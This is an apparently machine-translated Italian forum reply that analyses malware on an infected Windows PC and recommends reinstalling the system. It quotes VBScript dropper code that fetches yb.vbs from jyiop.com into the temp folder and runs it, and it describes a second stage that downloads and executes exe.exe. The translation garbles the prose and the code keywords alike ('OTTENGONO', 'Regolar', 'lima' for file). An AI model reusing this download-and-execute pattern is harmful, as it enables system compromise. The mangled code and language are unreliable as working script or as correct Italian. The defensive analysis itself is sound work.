Non sono disposto a andare fino ad aprire i Web site che avete accennato tuttavia, dagli scritti qui sopra qui sono che cosa vedo…
Lo scritto 1 sta generando una lima in bianco, i collegamenti ad un Web site ed ai trasferimenti dal sistema centrale verso i satelliti il contenuto della pagina ed i depositi esso nella lima in bianco. Questa lima è conservata come “yb.vbs„ ed è supposta eseguire.
-------------------------------------------------------------------
B= " yb.vbs "
Con CreateObject (“MSXML2.XMLHTTP
„)
.open “OTTENGONO„, “
http://jyiop.com/kr/yb.vbs„, falso
.send ()
Regolar A = CreateObject (“Scripting.FileSystemObject
„)
Regolar D = A.CreateTextFile (A.GetSpecialFolder
(
2) + “\„ + B)
D.WriteLine .responseText
Estremità con
D.Close
CreateObject (“WScript.Shell
„). Fare funzionare A.GetSpecialFolder (2) +„ \ “+ B
-------------------------------------------------------------------
Punto 2 ora che la lima dei vbs è stata generata e funzionamento, prova a visitare un altro Web page ma questo volta conserva il soddisfare di Web page in una lima chiamata “exe.exe„. Questa nuova lima deve essere conservata nel dispositivo di piegatura del temp degli utenti.
Lo scritto allora fa funzionare la lima “exe.exe„.
Avete accennato, il taskkill arresta Windows Media Player - perché, che sa?!?!
Lo scritto allora cancella lo scritto del vb che punto 1 ha generato (lo scritto che attualmente sta funzionando).
Ci è una seconda attesa 3 allora che la lima “exe.exe„ è cancellata.
Questa parte;
[maertS.BDODA = ADOBD.Stream
c.open OT, a, z: c.send ()
Se c.Status = x allora
u=c.ResponseBody: d.Open: d.Type
= y: d.Write u: d.SaveToFile b: d.Close]
è lo scritto che scriv per aprire una lima che effluirà nel Web page - niente fare con Adobe. “c.Status„ - lo scritto sta aspettando il Web page per essere pronto ed adattato a caricare programmi oggetto. “u=c.ResponseBody„ prende il Web page e lo spinge in una variabile. Il flusso è aperto ed il testo è caricato programmi oggetto nella variabile. La lima è conservata e chiusa. In questo scritto il Web page/lima è conservato nel dispositivo di piegatura del temp come “exe.exe„.
Il pericolo reale è che lima “di exe.exe„. Una volta che è stato funzionato, non si sa che cosa è stato destinato per fare.
Quel calcolatore ancora è infettato con un virus. Il programma “exe.exe„ potrebbe caricare programmi oggetto altri virus nei precedenti per impedire le esplorazioni del sistema. Il fatto che potete vedere la finestra di ordine aperta e lo scritto è tentato per funzionare mi dice che ci è una certa lima cattiva ancora che indugia.
Può essere tempo di valutare che necessità di essere conservato da quella macchina ed iniziare di nuovo con una reinstallazione di Windows e delle applicazioni. Suona drammatico ma vedendo poichè l'antivirus non sta rilevando nulla dalle specie io pensare che siate sul punto di nessun ritorno. Ricordare quello finchè il codice cattivo è sopra là, c'è ne guidano; sia il bastone di memoria del USB, la macchina fotografica ecc., può potenzialmente contenere il virus/Trojan, se sia stato attaccato alla macchina.
